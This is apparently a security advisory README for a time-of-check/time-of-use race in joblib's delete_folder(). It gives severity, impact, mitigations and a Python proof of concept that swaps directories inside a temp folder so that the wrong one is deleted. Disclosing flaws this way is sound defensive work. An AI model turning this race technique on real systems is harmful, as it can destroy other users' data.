_jb_lb / README.md
root0x7's picture
Update README.md
072c129 verified
|
Raw
History Blame Contribute Delete
4.15 kB
# Title
Race Condition in `joblib.disk.delete_folder()` Allows Deletion of a Swapped Directory Path
# Severity
Medium
# CVSS v3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
# Affected Component
* `joblib.disk.delete_folder()`
* `joblib.disk.rm_subdirs()`
# Summary
A race condition vulnerability exists in the temporary directory cleanup logic of Joblib. The `delete_folder()` function performs non-atomic path validation before recursively deleting directories with `shutil.rmtree()`.
An attacker capable of modifying the target path concurrently can swap the validated directory with another directory before deletion occurs. This may result in unintended directory deletion.
# Technical Details
The vulnerable function follows this sequence:
1. Verify the target using `os.path.isdir(folder_path)`
2. Read the directory contents using `os.listdir(folder_path)`
3. Delete the directory using `shutil.rmtree(folder_path)`
Because these operations are not atomic, an attacker can rename or replace the target directory between the validation and deletion phases.
The issue is located in:
```python
if os.path.isdir(folder_path):
files = os.listdir(folder_path)
shutil.rmtree(folder_path, ignore_errors=False, onerror=None)
```
This creates a classic Time-of-Check Time-of-Use (TOCTOU) race condition.
# Impact
A local attacker with filesystem access to the temporary directory hierarchy may be able to:
* Cause unintended deletion of directories
* Interfere with cleanup operations
* Trigger denial of service conditions
* Manipulate temporary resource handling
Impact depends on the privileges of the affected process and the level of attacker control over the temporary directory structure.
# Proof of Concept
The following PoC demonstrates that a validated directory path can be swapped before deletion, causing a different directory to be removed.
```python
#!/usr/bin/env python3
import os
import tempfile
import threading
import time
from pathlib import Path
from joblib.disk import delete_folder
import joblib.disk as disk
def main():
with tempfile.TemporaryDirectory(prefix="joblib_poc_") as tmp:
root = Path(tmp)
checked = root / "checked"
victim = root / "victim"
checked_old = root / "checked_old"
checked.mkdir()
victim.mkdir()
(checked / "marker_checked.txt").write_text("checked dir")
(victim / "marker_victim.txt").write_text("victim dir")
original_listdir = disk.os.listdir
race_started = threading.Event()
def delayed_listdir(path):
race_started.set()
time.sleep(0.25)
return original_listdir(path)
def attacker_swap():
race_started.wait(timeout=2)
os.rename(checked, checked_old)
os.rename(victim, checked)
attacker = threading.Thread(target=attacker_swap, daemon=True)
disk.os.listdir = delayed_listdir
try:
attacker.start()
delete_folder(str(checked), allow_non_empty=True)
finally:
disk.os.listdir = original_listdir
attacker.join(timeout=2)
print("=== Result ===")
print("checked exists :", checked.exists())
print("checked_old exists :", checked_old.exists())
print("victim exists :", victim.exists())
if checked_old.exists() and not checked.exists():
print("[+] Race demonstrated")
if __name__ == "__main__":
main()
```
# Reproduction
1. Install Joblib
2. Save the PoC as `poc.py`
3. Execute:
```bash
python3 poc.py
```
# Expected Result
Only the originally validated directory should be deleted.
# Actual Result
A different directory can be deleted after a path swap occurs during the race window.
# Mitigation
* Avoid non-atomic check-then-delete patterns
* Resolve and validate paths immediately before deletion
* Use inode or file descriptor based validation where possible
* Add symlink and path consistency protections
* Minimize race windows during cleanup operations
# References
* `joblib/disk.py`
* `delete_folder()`
* `rm_subdirs()`